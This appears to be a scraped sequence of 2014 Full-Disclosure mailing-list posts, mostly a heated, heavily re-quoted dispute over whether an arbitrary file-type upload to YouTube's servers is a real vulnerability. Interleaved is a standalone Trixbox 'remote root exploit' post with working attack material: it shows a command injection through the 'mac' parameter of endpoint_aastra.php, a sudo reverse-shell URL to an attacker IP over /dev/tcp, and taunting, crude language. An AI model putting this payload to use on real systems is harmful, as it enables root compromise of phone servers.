quite credible, and has gained some international recognition. It is a benchmark for many vendors. I suggest you to read on OSI/7-Layer Model. A website may disallow uploads of certain file types for security reasons, and let's assume at the application layer. If we manage to get past the security controls, that means we can write unrestrictedly any type of file to the remote network. That also means that we get past their firewall, since the communication is through HTTP (port 80). CDN nodes are deployed to multiple colocation (thousands of nodes and thousands of servers across the world). The files (let's say a self-executing encrypted virus like Cryptolocker? ) are cached deeply in the network across thousands of servers. On Thu, Mar 13, 2014 at 5:07 PM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Hello Julius, I appreciate your interest to learn more. OWASP is quite credible, and has gained some international recognition. It is a benchmark for many vendors. I suggest you to read on OSI/7-Layer Model. A website may disallow uploads of certain file types for security reasons, and let's assume at the application layer. If we manage to get past the security controls, that means we can write unrestrictedly any type of file to the remote network. That also means that we get past their firewall, since the communication is through HTTP (port 80). CDN nodes are deployed to multiple colocation (thousands of nodes and thousands of servers across the world). The files are cached deep in the network structures to thousands of
Re: [Full-disclosure] Google vulnerabilities with PoC
We confirm this to be a valid vulnerability for the following reasons. The access control subsystem is defeated, resulting to arbitrary write access of any file of choice. 1. You Tube defines which file types are permitted to be uploaded. 2. Exploitation is achieved by circumvention of web-based security controls (namely http forms, which is a weak security measure). However, exploitation of the issue results to unrestricted file uploads (any file of choice ). Remote code execution may be possible either through social engineering , or by stochastically rewriting an existing file-structure in the CDN. 3. This directly impacts the integrity of the service since modification of information occurs by circumvention. Renaming the uploaded files can be achieved through YouTube's inherent video manager. 4. Denial of Service attacks are feasible since we bypass all security restrictions. This directly impacts the availability of the service. 5. Malware propagation is possible, if the planted code get's executed through social engineering or by re-writing a valid file system structure. 6) All uploaded files can be downloaded through Google Take Out, if past the Content ID filtering algorithm (through file header obfuscation and encryption). It is pertinent to note that all publications are made to help mature the practise and we application security. Best Regards, Nicholas Lemonias Advanced Information Security Corp. EOF On Thu, Mar 13, 2014 at 11:06 PM, Julius Kivimäki julius.kivim...@gmail.com wrote: Look, you keep calling it a vulnerability with 0 evidence that it's even exploitable. Until you can prove otherwise this is like speculating the potential security repercussions of uploading files to EC2 (Which would probably have potential to be much more severe than what you're discussing here since javascript uploaded to ec2 could actually get executed by someones browser) You keep throwing around keywords like OWASP, OSI, security best practices as if they actually make a difference here. Truth is there's no reason to believe that what you have discovered here is exploitable. This mostly seems like a desperate attempt of getting money off of google and your name in some publication shitty enough to not do any fact checking (eg. softpedia) . 2014-03-13 21:48 GMT+02:00 Nicholas Lemonias. lem.niko...@googlemail.com : Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything you may, or may not be qualified to question amazes. But everyone's opinion is of course respected. I normally don't provide security lessons via e-mail and full-disclosure, however you seem not to understand the security report fully and some core principles. If you can't see what information security best practises, the OSI/network model and self-automata propagation has anything to do with arbitrary write permissions to a remote network leveraging from the application layer, then me and you have nothing to talk about. As for the exploitability of this vulnerability, you will never know until you try. And we have tried it , and seem to know better. I suggest you read the report again. Thank you. -- Forwarded message -- From: Nicholas Lemonias. lem.niko...@googlemail.com Date: Thu, Mar 13, 2014 at 7:47 PM Subject: Re: [Full-disclosure] Google vulnerabilities with PoC To: Julius Kivimäki julius.kivim...@gmail.com Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything you may, or may not be qualified to question amazes. But everyone's opinion is of course respected. I normally don't provide security lessons via e-mail and full-disclosure, however you seem not to understand the security report fully and some core principles. If you can't see what information security best practises, the OSI/network model and self-automata propagation has anything to do with arbitrary write permissions to a remote network leveraging from the application layer, then me and you have nothing to talk about. As for the exploitability of this vulnerability, you will never know until you try. And we have tried it , and seem to know better. I suggest you read the report again. Thank you. On Thu, Mar 13, 2014 at 7:02 PM, Julius Kivimäki julius.kivim...@gmail.com wrote: I don't see what OSI model has to do with anything here. Why is arbitrary file upload to youtube CDN any worse than to google drive CDN? And how will your self-executing encrypted virus like Cryptolocker end up getting executed anyways? And cryptolocker was definitely not self-executing, but spread via email attachments (excluding the boring USB spread functionality). What you have here is not a vulnerability, just give up. And stop trying to get journalists like Eduard Kovacs to spread your BS. 2014-03-13 19:10 GMT+02:00 Nicholas Lemonias. lem.niko...@googlemail.com: Hello Julius, I appreciate your interest to learn more. OWASP is quite credible, and has gained
Re: [Full-disclosure] Google vulnerabilities with PoC
Here's my evidence. Live Proof Of Concept == http://upload.youtube.com/?authuser=0upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw {sessionStatus:{state:FINALIZED,externalFieldTransfers:[{name:file,status:COMPLETED,bytesTransferred:113,bytesTotal:113,formPostInfo:{url: http://www.youtube.com/upload/rupio?authuser=0\u0026upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026file_id=000 ,cross_domain_url: http://upload.youtube.com/?authuser=0\u0026upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026origin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw},content_type:text/x-sh}],additionalInfo:{uploader_service.GoogleRupioAdditionalInfo:{completionInfo:{status:SUCCESS,customerSpecificInfo:{status: ok, video_id: KzKDtijwHFI,upload_id:AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw}} The above proof of concept demonstrates : 1. We have bypassed the security controls in Youtube and uploaded an unexpected file type. 2. The file is persistent and has not been deleted by YouTube. 3. It can be queried for information since it is assigned a unique upload_id. 4. It's successfully uploaded to youtube.com As you can see it give out the total bytes written to the remote network. 5. content_type:text/x-sh}] --- The file is a shell script script named 'file' 6. It can be enumerated by a non-authenticated user, remotely. On Fri, Mar 14, 2014 at 2:40 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Are you a Google employee...I wonder? There is nothing else to be said regarding this. Our research for remote code execution continues and will let you and Google know once that is confirmed; through the coordinated security program. And please OWASP, is recognised worldwide. Best Regards, Nicholas Lemonias On Thu, Mar 13, 2014 at 11:06 PM, Julius Kivimäki julius.kivim...@gmail.com wrote: Look, you keep calling it a vulnerability with 0 evidence that it's even exploitable. Until you can prove otherwise this is like speculating the potential security repercussions of uploading files to EC2 (Which would probably have potential to be much more severe than what you're discussing here since javascript uploaded to ec2 could actually get executed by someones browser) You keep throwing around keywords like OWASP, OSI, security best practices as if they actually make a difference here. Truth is there's no reason to believe that what you have discovered here is exploitable. This mostly seems like a desperate attempt of getting money off of google and your name in some publication shitty enough to not do any fact checking (eg. softpedia) . 2014-03-13 21:48 GMT+02:00 Nicholas Lemonias. lem.niko...@googlemail.com : Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything you may, or may not be qualified to question amazes. But everyone's opinion is of course respected. I normally don't provide security lessons via e-mail and full-disclosure, however you seem not to understand the security report fully and some core principles. If you can't see what information security best practises, the OSI/network model and self-automata propagation has anything to do with arbitrary write permissions to a remote network leveraging from the application layer, then me and you have nothing to talk about. As for the exploitability of this vulnerability, you will never know until you try. And we have tried it , and seem to know better. I suggest you read the report again. Thank you. -- Forwarded message -- From: Nicholas Lemonias. lem.niko...@googlemail.com Date: Thu, Mar 13, 2014 at 7:47 PM Subject: Re: [Full-disclosure] Google vulnerabilities with PoC To: Julius Kivimäki julius.kivim...@gmail.com Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything you may, or may not be qualified to question amazes. But everyone's opinion is of course respected. I normally don't provide security lessons via e-mail and full-disclosure, however you seem not to understand the security report fully and some core principles. If you can't see what information security best practises, the OSI/network model and self-automata propagation has anything to do with arbitrary write permissions to a remote network leveraging from the application layer, then me and you have nothing to talk about. As for the exploitability of this vulnerability, you will never know until you try. And we have tried it , and seem to know better. I suggest you read the report again. Thank you. On Thu, Mar 13, 2014 at 7:02 PM, Julius Kivimäki julius.kivim...@gmail.com wrote: I don't see what OSI model has
Re: [Full-disclosure] Google vulnerabilities with PoC
Zakewski, Thank you for your e-mail. I welcome all opinions, that are backed up by evidences. I am not just a security researcher, I am also an academic in the field and lecturer. However, from an academic perspective, when it comes to certain security designs the mere existence of unvalidated requests is symptomatic of deeper code problems. Thus, in academia such definitions are vague, unless they are either backed-up by original, incisive research, or by existing subject matter literature which is widely accepted. In terms of what constitutes a security vulnerability, it is a weakness in a product or service that may allow an attacker to compromise the (C-I-A) Confidentiality, Integrity and Availability of that same service, and I bet you 've heard this many times before. Adequate security requirements entail properties of 1) confidentiality, 2) integrity, 3) availability but also 4) authorization , 5) non-repudiation and 6) authentication. Integrity: Integrity refers to the trustworthiness of a resource. An attacker exploits a weakness in a service to modify it silently and without authorization means is compromising the integrity of that service. Example: A weakness that allows an administrator to change the permission sets on a file , that is not a security vulnerability because an administrator already has this capability. However if a weakness allowed an unprivileged user to do the same thing (say to write arbitrary files to a remote service), that would constitute to a security vulnerability. Availability*:* Availability refers to the ability to access a resource. An attacker that exploits a weakness in a service, denying appropriate user access to it, is thus compromising the availability of that particular service. In our case a Denial of Service is feasible, because the uploaded files are persistent and can lead to resource exhaustion. Example: A weakness that enables an attacker to cause a server to fail would constitute a vulnerability, since the attacker denies resources pertinent to that service. Resource exhaustion is possible. Confidentiality: Confidentiality refers to the disclosure of information, to unauthorised parties. However this is by no means the only property required for security. In this case just because we haven't accessed some files, that does not mean that the service is secure. Authorization: Refers to the process of determining which 'principals' have access and to which 'objects'. Access control is a type of authorization, hence its name. In case of the API upload functionality, a script is loaded and somewhere a write() function is called. The access control was weak since it was web-based. We could arbitrary write() any file of choice to the system as a result, something that only an administrator with full permission sets should be able to do. admin.youtube.com is the admin login. On Fri, Mar 14, 2014 at 4:19 AM, Michal Zalewski lcam...@coredump.cxwrote: Nicholas, I remember my early years in the infosec community - and sadly, so do some of the more seasoned readers of this list :-) Back then, I thought that the only thing that mattered is the ability to find bugs. But after some 18 years in the industry, I now know that there's an even more important and elusive skill. That skill boils down to having a robust mental model of what constitutes a security flaw - and being able to explain your thinking to others in a precise and internally consistent manner that convinces others to act. We need this because the security of a system can't be usefully described using abstract terms: even the academic definitions ultimately boil down to saying the system is secure if it doesn't do the things we *really* don't want it to do. In this spirit, the term vulnerability is generally reserved for behaviors that meet all of the following criteria: 1) The behavior must have negative consequences for at least one of the legitimate stakeholders (users, service owners, etc), 2) The consequences must be widely seen as unexpected and unacceptable, 3) There must be a realistic chance of such a negative outcome, 4) The behavior must introduce substantial new risks that go beyond the previously accepted trade-offs. If we don't have that, we usually don't have a case, no matter how clever the bug is. Cheers (and happy hunting!), /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
Hi Jerome, Thank you for agreeing on access control, and separation of duties. However successful exploitation permits arbitrary write() of any file of choice. I could release an exploit code in C Sharp or Python that permits multiple file uploads of any file/types, if the Google security team feels that this would be necessary. This is unpaid work, so we are not so keen on that job. On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.comwrote: Hi I concur that we are mainly discussing a terminology problem. In the context of a Penetration Test or WAPT, this is a Finding. Reporting this finding makes sense in this context. As a professional, you would have to explain if/how this finding is a Weakness*, a Violation (/Regulations, Compliance, Policies or Requirements[1]) * I would say Weakness + Exposure = Vulnerability. Vulnerability + Exploitability (PoC) = Confirmed Vulnerability that needs Business Impact and Risk Analysis So I would probably have reported this Finding as a Weakness (and not Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not Best Practice (your OWASP link and Cheat Sheets), and even if mitigative/compensative security controls (Ref Orange Book), security controls like white listing (or at least black listing. see also ESAPI) should be 1) part of the [1]security requirements of a proper SDLC (Build security in) as per Defense-in-Depth security principles and 2) used and implemented correctly. NB: A simple Threat Model (i.e. list of CAPEC) would be a solid support to your report This would help to evaluate/measure the risk (e.g. CVSS). Helping the decision/actions around this risk PS: interestingly, in this case, I'm not sure that the Separation of Duties security principle was applied correctly by Google in term of Risk Acceptance (which could be another Finding) So in few words, be careful with the terminology. (don't always say vulnerability like the media say hacker, see RFC1392) Use a CWE ID (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616) My 2 bitcents Sorry if it is not edible :) Happy Hacking! /JA https://github.com/athiasjerome/XORCISM 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx: Nicholas, I remember my early years in the infosec community - and sadly, so do some of the more seasoned readers of this list :-) Back then, I thought that the only thing that mattered is the ability to find bugs. But after some 18 years in the industry, I now know that there's an even more important and elusive skill. That skill boils down to having a robust mental model of what constitutes a security flaw - and being able to explain your thinking to others in a precise and internally consistent manner that convinces others to act. We need this because the security of a system can't be usefully described using abstract terms: even the academic definitions ultimately boil down to saying the system is secure if it doesn't do the things we *really* don't want it to do. In this spirit, the term vulnerability is generally reserved for behaviors that meet all of the following criteria: 1) The behavior must have negative consequences for at least one of the legitimate stakeholders (users, service owners, etc), 2) The consequences must be widely seen as unexpected and unacceptable, 3) There must be a realistic chance of such a negative outcome, 4) The behavior must introduce substantial new risks that go beyond the previously accepted trade-offs. If we don't have that, we usually don't have a case, no matter how clever the bug is. Cheers (and happy hunting!), /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
Thanks Michal, We are just trying to improve Google's security and contribute to the research community after all. If you are still on EFNet give me a shout some time. We have done so and consulted to hundreds of clients including Microsoft, Nokia, Adobe and some of the world's biggest corporations. We are also strict supporters of the ACM code of conduct. Regards, Nicholas Lemonias. AISec On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Hi Jerome, Thank you for agreeing on access control, and separation of duties. However successful exploitation permits arbitrary write() of any file of choice. I could release an exploit code in C Sharp or Python that permits multiple file uploads of any file/types, if the Google security team feels that this would be necessary. This is unpaid work, so we are not so keen on that job. On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.comwrote: Hi I concur that we are mainly discussing a terminology problem. In the context of a Penetration Test or WAPT, this is a Finding. Reporting this finding makes sense in this context. As a professional, you would have to explain if/how this finding is a Weakness*, a Violation (/Regulations, Compliance, Policies or Requirements[1]) * I would say Weakness + Exposure = Vulnerability. Vulnerability + Exploitability (PoC) = Confirmed Vulnerability that needs Business Impact and Risk Analysis So I would probably have reported this Finding as a Weakness (and not Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not Best Practice (your OWASP link and Cheat Sheets), and even if mitigative/compensative security controls (Ref Orange Book), security controls like white listing (or at least black listing. see also ESAPI) should be 1) part of the [1]security requirements of a proper SDLC (Build security in) as per Defense-in-Depth security principles and 2) used and implemented correctly. NB: A simple Threat Model (i.e. list of CAPEC) would be a solid support to your report This would help to evaluate/measure the risk (e.g. CVSS). Helping the decision/actions around this risk PS: interestingly, in this case, I'm not sure that the Separation of Duties security principle was applied correctly by Google in term of Risk Acceptance (which could be another Finding) So in few words, be careful with the terminology. (don't always say vulnerability like the media say hacker, see RFC1392) Use a CWE ID (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616) My 2 bitcents Sorry if it is not edible :) Happy Hacking! /JA https://github.com/athiasjerome/XORCISM 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx: Nicholas, I remember my early years in the infosec community - and sadly, so do some of the more seasoned readers of this list :-) Back then, I thought that the only thing that mattered is the ability to find bugs. But after some 18 years in the industry, I now know that there's an even more important and elusive skill. That skill boils down to having a robust mental model of what constitutes a security flaw - and being able to explain your thinking to others in a precise and internally consistent manner that convinces others to act. We need this because the security of a system can't be usefully described using abstract terms: even the academic definitions ultimately boil down to saying the system is secure if it doesn't do the things we *really* don't want it to do. In this spirit, the term vulnerability is generally reserved for behaviors that meet all of the following criteria: 1) The behavior must have negative consequences for at least one of the legitimate stakeholders (users, service owners, etc), 2) The consequences must be widely seen as unexpected and unacceptable, 3) There must be a realistic chance of such a negative outcome, 4) The behavior must introduce substantial new risks that go beyond the previously accepted trade-offs. If we don't have that, we usually don't have a case, no matter how clever the bug is. Cheers (and happy hunting!), /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
Are you a Google employee...I wonder? There is nothing else to be said regarding this. Our research for remote code execution continues and will let you and Google know once that is confirmed; through the coordinated security program. And please OWASP, is recognised worldwide. Best Regards, Nicholas Lemonias On Thu, Mar 13, 2014 at 11:06 PM, Julius Kivimäki julius.kivim...@gmail.com wrote: Look, you keep calling it a vulnerability with 0 evidence that it's even exploitable. Until you can prove otherwise this is like speculating the potential security repercussions of uploading files to EC2 (Which would probably have potential to be much more severe than what you're discussing here since javascript uploaded to ec2 could actually get executed by someones browser) You keep throwing around keywords like OWASP, OSI, security best practices as if they actually make a difference here. Truth is there's no reason to believe that what you have discovered here is exploitable. This mostly seems like a desperate attempt of getting money off of google and your name in some publication shitty enough to not do any fact checking (eg. softpedia) . 2014-03-13 21:48 GMT+02:00 Nicholas Lemonias. lem.niko...@googlemail.com : Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything you may, or may not be qualified to question amazes. But everyone's opinion is of course respected. I normally don't provide security lessons via e-mail and full-disclosure, however you seem not to understand the security report fully and some core principles. If you can't see what information security best practises, the OSI/network model and self-automata propagation has anything to do with arbitrary write permissions to a remote network leveraging from the application layer, then me and you have nothing to talk about. As for the exploitability of this vulnerability, you will never know until you try. And we have tried it , and seem to know better. I suggest you read the report again. Thank you. -- Forwarded message -- From: Nicholas Lemonias. lem.niko...@googlemail.com Date: Thu, Mar 13, 2014 at 7:47 PM Subject: Re: [Full-disclosure] Google vulnerabilities with PoC To: Julius Kivimäki julius.kivim...@gmail.com Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything you may, or may not be qualified to question amazes. But everyone's opinion is of course respected. I normally don't provide security lessons via e-mail and full-disclosure, however you seem not to understand the security report fully and some core principles. If you can't see what information security best practises, the OSI/network model and self-automata propagation has anything to do with arbitrary write permissions to a remote network leveraging from the application layer, then me and you have nothing to talk about. As for the exploitability of this vulnerability, you will never know until you try. And we have tried it , and seem to know better. I suggest you read the report again. Thank you. On Thu, Mar 13, 2014 at 7:02 PM, Julius Kivimäki julius.kivim...@gmail.com wrote: I don't see what OSI model has to do with anything here. Why is arbitrary file upload to youtube CDN any worse than to google drive CDN? And how will your self-executing encrypted virus like Cryptolocker end up getting executed anyways? And cryptolocker was definitely not self-executing, but spread via email attachments (excluding the boring USB spread functionality). What you have here is not a vulnerability, just give up. And stop trying to get journalists like Eduard Kovacs to spread your BS. 2014-03-13 19:10 GMT+02:00 Nicholas Lemonias. lem.niko...@googlemail.com: Hello Julius, I appreciate your interest to learn more. OWASP is quite credible, and has gained some international recognition. It is a benchmark for many vendors. I suggest you to read on OSI/7-Layer Model. A website may disallow uploads of certain file types for security reasons, and let's assume at the application layer. If we manage to get past the security controls, that means we can write unrestrictedly any type of file to the remote network. That also means that we get past their firewall, since the communication is through HTTP (port 80). CDN nodes are deployed to multiple colocation (thousands of nodes and thousands of servers across the world). The files (let's say a self-executing encrypted virus like Cryptolocker? ) are cached deeply in the network across thousands of servers. On Thu, Mar 13, 2014 at 5:07 PM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Hello Julius, I appreciate your interest to learn more. OWASP is quite credible, and has gained some international recognition. It is a benchmark for many vendors. I suggest you to read on OSI/7-Layer Model. A website may disallow uploads of certain file types for security reasons, and let's assume at the
[Full-disclosure] Trixbox all versions , Remote root exploit
# App : Trixbox all versions # vendor : trixbox.com # Author : i-Hmx # mail : n0p1...@gmail.com # Home : security arrays inc , sec4ever.com ,exploit4arab.net Well well well , we decided to give schmoozecom a break and have a look @ fonality products do you think they have better product than the (Award winning) trixbox!!! I don't think so Designed and marketed for Fonality's partner community, trixbox Pro is an IP-PBX software solution purpose built to support growing SMB businesses. A unique hybrid hosted telephony solution; trixbox Pro provides big business features at an SMB cost . . blah blah blah What do we have here?? A 3 years old Sql injection flaw??? not big deal , and already been reported not enough good exploitation , but reported A file disclosure flaw??? save it for later let's give Fonality little Remote root Exploit xD and also give the Predictors some pain in the ass trying to exploit this consider it as challenge ;) Here we go Vulnerable file : /var/www/html/maint/modules/endpointcfg/endpoint_aastra.php Pice of shit , sorry i mean code switch($_action) { case 'Edit': if ($_REQUEST['newmac']){ // create a new phone from device map $mac_address = $_REQUEST['newmac']; } if ($_REQUEST['mac']){ $phoneinfo = GetPhone($_REQUEST['mac'],$PhoneType); $mac_address=$phoneinfo['mac_address'];} // if there is a request ID we Edit otherwise add a new phone $freepbx_device_list = GetFreepbxDeviceList(); $smarty-assign(mac_address, $mac_address); $smarty-assign(phone, $phoneinfo); $smarty-assign(freepbx_device_list, $freepbx_device_list); $smarty-assign(message, $message); $template = endpoint_.$PhoneType._edit.tpl; break; case 'Delete': exec(rm .$sipdir.$_REQUEST['mac']..cfg); getSQL(DELETE FROM .$PhoneType. WHERE mac_address='.$_REQUEST['mac'].','endpoints'); $smarty-assign(phones, ListPhones($PhoneType)); $template = endpoint_.$PhoneType._list.tpl; break; it's obvious we care about this line exec(rm .$sipdir.$_REQUEST['mac']..cfg); Exploitation demo : maint/modules/endpointcfg/endpoint_aastra.php?action=Deletemac=fa;echo idxx;faris result will be written to xx but this is not the full movie yet , Am here to give fonality an night mare , which take the form of root privzz actually the server is configured by default to allow the web interface pages to edit many files @ the root directory so any noob can easily execute the sudo fuck with out being permited for password , and the result is root Demo Back connection with root privs maint/modules/endpointcfg/endpoint_aastra.php?action=Deletemac=fa;sudo bash -i %26 %2fdev%2ftcp%2fxxx.xxx.xxx.xxx%2f1337 0%261;faris change to your ip and the port you are listening to and , Volia , you are root now am sure you're happy as pig in shit xD Still need more?? you will notice that you're unable to reach this file due to the http firewall but actually there is simple and yet dirty trick that allow you to get pass through it , and execute your command smothely as boat on the river ;) And here come the challenge , let's see what the faggots can do with this ;) need hint??? use your mind and fuck off :/ Big greets fly to the all sec4ever family oh , and for voip lames , you can use our 0Days for sure but once it become 720Days xD Regards, Faris the Awsome ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
You're still missing the attack vector (and the point of the discussion too, but that's painfully obvious). On Fri, Mar 14, 2014 at 4:21 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Here's my evidence. Live Proof Of Concept == http://upload.youtube.com/?authuser=0upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw {sessionStatus:{state:FINALIZED,externalFieldTransfers:[{name:file,status:COMPLETED,bytesTransferred:113,bytesTotal:113,formPostInfo:{url: http://www.youtube.com/upload/rupio?authuser=0\u0026upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026file_id=000 ,cross_domain_url: http://upload.youtube.com/?authuser=0\u0026upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026origin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw},content_type:text/x-sh}],additionalInfo:{uploader_service.GoogleRupioAdditionalInfo:{completionInfo:{status:SUCCESS,customerSpecificInfo:{status: ok, video_id: KzKDtijwHFI,upload_id:AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw}} The above proof of concept demonstrates : 1. We have bypassed the security controls in Youtube and uploaded an unexpected file type. 2. The file is persistent and has not been deleted by YouTube. 3. It can be queried for information since it is assigned a unique upload_id. 4. It's successfully uploaded to youtube.com As you can see it give out the total bytes written to the remote network. 5. content_type:text/x-sh}] --- The file is a shell script script named 'file' 6. It can be enumerated by a non-authenticated user, remotely. On Fri, Mar 14, 2014 at 2:40 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Are you a Google employee...I wonder? There is nothing else to be said regarding this. Our research for remote code execution continues and will let you and Google know once that is confirmed; through the coordinated security program. And please OWASP, is recognised worldwide. Best Regards, Nicholas Lemonias On Thu, Mar 13, 2014 at 11:06 PM, Julius Kivimäki julius.kivim...@gmail.com wrote: Look, you keep calling it a vulnerability with 0 evidence that it's even exploitable. Until you can prove otherwise this is like speculating the potential security repercussions of uploading files to EC2 (Which would probably have potential to be much more severe than what you're discussing here since javascript uploaded to ec2 could actually get executed by someones browser) You keep throwing around keywords like OWASP, OSI, security best practices as if they actually make a difference here. Truth is there's no reason to believe that what you have discovered here is exploitable. This mostly seems like a desperate attempt of getting money off of google and your name in some publication shitty enough to not do any fact checking (eg. softpedia) . 2014-03-13 21:48 GMT+02:00 Nicholas Lemonias. lem.niko...@googlemail.com: Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything you may, or may not be qualified to question amazes. But everyone's opinion is of course respected. I normally don't provide security lessons via e-mail and full-disclosure, however you seem not to understand the security report fully and some core principles. If you can't see what information security best practises, the OSI/network model and self-automata propagation has anything to do with arbitrary write permissions to a remote network leveraging from the application layer, then me and you have nothing to talk about. As for the exploitability of this vulnerability, you will never know until you try. And we have tried it , and seem to know better. I suggest you read the report again. Thank you. -- Forwarded message -- From: Nicholas Lemonias. lem.niko...@googlemail.com Date: Thu, Mar 13, 2014 at 7:47 PM Subject: Re: [Full-disclosure] Google vulnerabilities with PoC To: Julius Kivimäki julius.kivim...@gmail.com Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything you may, or may not be qualified to question amazes. But everyone's opinion is of course respected. I normally don't provide security lessons via e-mail and full-disclosure, however you seem not to understand the security report fully and some core principles. If you can't see what information security best practises, the OSI/network model and self-automata propagation has anything to do with arbitrary write permissions to a remote network leveraging from the application layer, then me and you have nothing to talk about. As for the exploitability of this vulnerability, you will never know until you
Re: [Full-disclosure] Google vulnerabilities with PoC
On 13 Mar 2014 14:30, Nicholas Lemonias. lem.niko...@googlemail.com wrote: I suggest you to read on Content Delivery Network Architectures . YouTube.com populates and distributes stored files to multiple servers through a CDN (Content Delivery Architecture), where each video uses more than one machine (hosted by a cluster). Less populated video files are normally stored in various colocation sites. The YouTube architecture uses databases for storing metadata information of all uploaded files. https://www.owasp.org/index.php/Unrestricted_File_Upload Being a CDN means it is very hard to find out where your file went. I agree with was said on this thread by other people. As an external penetration testing consultant, I would put this on a client report as a low risk finding / possible vulnerability and recommend it to be fixed. As an internal vulnerability manager I would push the developers to fix it, but I would give it a low priority and only real press then once all the higher priority ones have been fixed. However in the real world it is not a vulnerability, and don't expect Google to pay you for it. Regards Pedro ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
But do you have all the required EH certifications? Try this one from the Institute for Certified Application Security Specialists: http://www.asscert.com/ On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Thanks Michal, We are just trying to improve Google's security and contribute to the research community after all. If you are still on EFNet give me a shout some time. We have done so and consulted to hundreds of clients including Microsoft, Nokia, Adobe and some of the world's biggest corporations. We are also strict supporters of the ACM code of conduct. Regards, Nicholas Lemonias. AISec On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Hi Jerome, Thank you for agreeing on access control, and separation of duties. However successful exploitation permits arbitrary write() of any file of choice. I could release an exploit code in C Sharp or Python that permits multiple file uploads of any file/types, if the Google security team feels that this would be necessary. This is unpaid work, so we are not so keen on that job. On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.comwrote: Hi I concur that we are mainly discussing a terminology problem. In the context of a Penetration Test or WAPT, this is a Finding. Reporting this finding makes sense in this context. As a professional, you would have to explain if/how this finding is a Weakness*, a Violation (/Regulations, Compliance, Policies or Requirements[1]) * I would say Weakness + Exposure = Vulnerability. Vulnerability + Exploitability (PoC) = Confirmed Vulnerability that needs Business Impact and Risk Analysis So I would probably have reported this Finding as a Weakness (and not Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not Best Practice (your OWASP link and Cheat Sheets), and even if mitigative/compensative security controls (Ref Orange Book), security controls like white listing (or at least black listing. see also ESAPI) should be 1) part of the 